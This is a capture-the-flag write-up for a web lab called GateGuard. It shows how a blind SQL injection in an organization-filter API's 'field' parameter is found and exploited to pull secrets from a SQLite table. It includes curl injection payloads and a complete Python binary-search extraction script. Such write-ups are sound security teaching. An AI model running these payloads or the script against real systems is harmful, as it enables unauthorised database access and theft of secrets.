Lab 80 — GateGuard — SQL Injection in Organization Filter API
Lab 80 — GateGuard — SQL Injection in Organization Filter API
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_parameter_injection, binary_search_extraction, boolean_based_blind_sqli, sqlite_schema_enumeration
Summary
Task: Identity management platform with REST API for organization filtering. Solution: Boolean-based blind SQL injection in field parameter to enumerate sqlite_master and extract flag from platform_secrets table using binary search.
Lab 80 — GateGuard — SQL Injection in Organization Filter API — HackAdvisor
Description
GateGuard is a self-hosted identity and access management platform built by NexAuth Technologies. It provides unified single sign-on, user provisioning, and role-based access policies for modern teams. Administrators use the web dashboard to manage organizations, users, and permissions, while REST API endpoints support integration with external services.
Your goal is to explore the application and its API to discover and exploit a vulnerability that allows you to access sensitive platform data not exposed through the normal interface.
The platform manages multiple organizations, users with various roles, and internal configuration secrets. Pay close attention to how the application queries and filters data.
Credentials: user@test.com / password123 Hint: The Organizations page loads its data dynamically via a REST API. Inspect the network requests in your browser's DevTools to see how the data is fetched and what parameters are sent.
Identity and access management platform with organization filtering functionality. The goal is to exploit a vulnerability in the API to access sensitive platform data (secrets) not exposed through the normal interface.
Analysis
-
Initial Reconnaissance:
- Logged in with provided credentials (user@test.com / password123)
- Explored the dashboard and found Organizations page at
/organizations - Analyzed
/static/js/organizations.jswhich revealed the API endpoint
-
API Endpoint Discovery:
- Endpoint:
/api/get-organizations - Parameters:
field,value,sortField,sortOrder,p,pageSize - The
fieldparameter specifies which column to filter on - The
valueparameter specifies the search term
- Endpoint:
-
SQL Injection Discovery:
- Tested
field=name'→ returned "Query failed" (SQL error indicator) - Tested
field=name OR 1=1 --→ returned all 8 organizations (bypass confirmed) - The
fieldparameter is directly interpolated into the WHERE clause without sanitization
- Tested
-
Vulnerability Analysis:
- Backend uses SQLite database
- The query likely looks like:
SELECT * FROM organizations WHERE {field} LIKE '%{value}%' - The
fieldparameter allows arbitrary SQL injection including subqueries
-
Important Note - Decoy Flag:
- The HTML contained a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden comments and invisible divs - This was designed to trick automated scanners - NOT the real flag
- The HTML contained a decoy flag
Solution
Step 1: Confirm SQL Injection
bash read-only • copy allowed# Test for SQL error curl -b "session_token=..." "https://[lab-url]/api/get-organizations?field=name'&value=test" # Returns: {"error":"Query failed"} # Test for bypass curl -b "session_token=..." "https://[lab-url]/api/get-organizations?field=name OR 1=1 --&value=test" # Returns all 8 organizations
Step 2: Boolean-Based Blind SQLi Setup
The injection technique uses subqueries in the field parameter:
- If the subquery result matches the
valueparameter → returns 8 results (true) - If no match → returns 0 results (false)
bash read-only • copy allowed# Payload pattern field=(SELECT ... FROM sqlite_master)&value=searchterm
Step 3: Table Enumeration
bash read-only • copy allowed# Find tables containing 'secret' curl -b "session_token=..." \ "https://[lab-url]/api/get-organizations?field=(SELECT group_concat(name) FROM sqlite_master WHERE type='table')&value=platform_secrets" # Returns 8 results → table exists!
Step 4: Column Enumeration
bash read-only • copy allowed# Extract CREATE TABLE statement to find columns curl -b "session_token=..." \ "https://[lab-url]/api/get-organizations?field=(SELECT sql FROM sqlite_master WHERE name='platform_secrets')&value=secret_value" # Returns 8 results → column exists!
Found columns: key_name, secret_value, created_at
Step 5: Flag Extraction via Binary Search
bash read-only • copy allowed# Confirm FLAG pattern exists curl -b "session_token=..." \ "https://[lab-url]/api/get-organizations?field=(SELECT secret_value FROM platform_secrets WHERE secret_value LIKE 'FLAG%')&value=FLAG" # Returns 8 results → FLAG exists! # Determine flag length curl -b "session_token=..." \ "https://[lab-url]/api/get-organizations?field=(SELECT CASE WHEN length(secret_value)=38 THEN 1 ELSE 0 END FROM platform_secrets WHERE secret_value GLOB 'FLAG*')&value=1" # Returns 8 results → length is 38 characters # Binary search character extraction (example for position 1) curl -b "session_token=..." \ "https://[lab-url]/api/get-organizations?field=(SELECT CASE WHEN unicode(substr(secret_value,1,1))>=70 THEN 1 ELSE 0 END FROM platform_secrets WHERE secret_value GLOB 'FLAG*')&value=1"
Automated Extraction Script
python read-only • copy allowed#!/usr/bin/env python3 import requests import string BASE_URL = "https://547a0747-641d-4296-b9b8-087c799c5bbe.labs.hackadvisor.io" COOKIES = {"session_token": "YOUR_SESSION_TOKEN"} def check_condition(condition): """Returns True if condition evaluates to true (8 results)""" payload = f"(SELECT CASE WHEN {condition} THEN 1 ELSE 0 END FROM platform_secrets WHERE secret_value GLOB 'FLAG*')" params = {"field": payload, "value": "1"} r = requests.get(f"{BASE_URL}/api/get-organizations", params=params, cookies=COOKIES) data = r.json() return len(data.get("organizations", [])) == 8 def extract_char(position): """Binary search for character at position""" low, high = 32, 126 while low < high: mid = (low + high + 1) // 2 if check_condition(f"unicode(substr(secret_value,{position},1))>={mid}"): low = mid else: high = mid - 1 return chr(low) # Get flag length for length in range(30, 50): if check_condition(f"length(secret_value)={length}"): print(f"[+] Flag length: {length}") break # Extract flag flag = "" for i in range(1, length + 1): char = extract_char(i) flag += char print(f"[+] Position {i}: {char} -> {flag}") print(f"\n[+] Flag: {flag}")